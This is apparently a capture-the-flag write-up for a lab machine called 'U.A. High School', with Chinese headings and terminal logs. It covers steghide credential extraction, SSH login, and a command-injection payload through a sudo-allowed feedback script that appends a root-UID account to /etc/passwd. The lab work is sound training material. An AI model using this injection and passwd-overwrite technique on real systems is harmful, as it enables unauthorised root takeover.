U.A. High School·

(Updated: )
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本机IP:10.17.5.121
目标ip:10.10.167.217

信息搜集


403 bypass?


分析流量包

确实存在一个文件

进行模糊测试

webshell

立足点 getwebshell

反弹shell

转化为tty


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kali@kali ~/Documents/thm/U-A-High-School 
❯ hexeditor -b oneforall.jpg                                                                                                    
kali@kali ~/Documents/thm/U-A-High-School 
❯ thunar                                                                                                                        
kali@kali ~/Documents/thm/U-A-High-School 
❯ steghide extract -sf oneforall.jpg                                                                                            
Enter passphrase:                                                                                                               
the file "creds.txt" does already exist. overwrite ? (y/n) n
steghide: did not write to file "creds.txt".
kali@kali ~/Documents/thm/U-A-High-School [1]

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❯ cat creds.txt                                                                                                                 
Hi Deku, this is the only way I've found to give you your account credentials, as soon as you have them, delete this file:      

deku:One?For?All_!!one1/A

usershell

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❯ ssh deku@10.10.167.217                                                                                                        
The authenticity of host '10.10.167.217 (10.10.167.217)' can't be established.                                                  
ED25519 key fingerprint is SHA256:OgRmqdwC/bY0nCsZ5+MHrpGGo75F1+78/LGZjSVg2VY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.167.217' (ED25519) to the list of known hosts.
deku@10.10.167.217's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-153-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 16 Nov 2024 06:35:11 AM UTC

  System load:  0.0               Processes:             119
  Usage of /:   47.0% of 9.75GB   Users logged in:       0
  Memory usage: 48%               IPv4 address for eth0: 10.10.167.217
  Swap usage:   0%


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

37 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu Feb 22 21:27:54 2024 from 10.0.0.3
deku@myheroacademia:~$

rootshell

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THM{W3lC0m3_D3kU_1A_0n3f0rAll??}
deku@myheroacademia:~$ sudo -l
[sudo] password for deku: 
Matching Defaults entries for deku on myheroacademia:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User deku may run the following commands on myheroacademia:
    (ALL) /opt/NewComponent/feedback.sh

可以写入任意命令

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deku@myheroacademia:~$ sudo /opt//NewComponent/feedback.sh
Hello, Welcome to the Report Form       
This is a way to report various problems
    Developed by                        
        The Technical Department of U.A.
Enter your feedback:
test>/tmp/tet.txt
It is This:
Feedback successfully saved.
deku@myheroacademia:~$ cat /tmp/tet.txt

手动制作一个密码

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mkpasswd -m md5crypt -s
密码：admin
$1$G0VpEiUX$xG8amhil.KWmevqLhCvsE1

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test:$1$G0VpEiUX$xG8amhil.KWmevqLhCvsE1:0:0:test:/root:/bin/bash
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deku@myheroacademia:~$ sudo /opt//NewComponent/feedback.sh
Hello, Welcome to the Report Form       
This is a way to report various problems
    Developed by                        
        The Technical Department of U.A.
Enter your feedback:
'test:$1$G0VpEiUX$xG8amhil.KWmevqLhCvsE1:0:0:test:/root:/bin/bash' >> /etc/passwd
It is This:
Feedback successfully saved.
deku@myheroacademia:~$ cat /etc/passwd

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deku@myheroacademia:~$ tail -n1 /etc/passwd
test:$1$G0VpEiUX$xG8amhil.KWmevqLhCvsE1:0:0:test:/root:/bin/bash

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deku@myheroacademia:~$ su test
Password: 
root@myheroacademia:/home/deku# id
uid=0(root) gid=0(root) groups=0(root)

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root@myheroacademia:~# cat root.txt
root@myheroacademia:/opt/NewComponent# cat /root/root.txt
__   __               _               _   _                 _____ _          
\ \ / /__  _   _     / \   _ __ ___  | \ | | _____      __ |_   _| |__   ___ 
 \ V / _ \| | | |   / _ \ | '__/ _ \ |  \| |/ _ \ \ /\ / /   | | | '_ \ / _ \
  | | (_) | |_| |  / ___ \| | |  __/ | |\  | (_) \ V  V /    | | | | | |  __/
  |_|\___/ \__,_| /_/   \_\_|  \___| |_| \_|\___/ \_/\_/     |_| |_| |_|\___|
                                  _    _ 
             _   _        ___    | |  | |
            | \ | | ___  /   |   | |__| | ___ _ __  ___
            |  \| |/ _ \/_/| |   |  __  |/ _ \ '__|/ _ \
            | |\  | (_)  __| |_  | |  | |  __/ |  | (_) |
            |_| \_|\___/|______| |_|  |_|\___|_|   \___/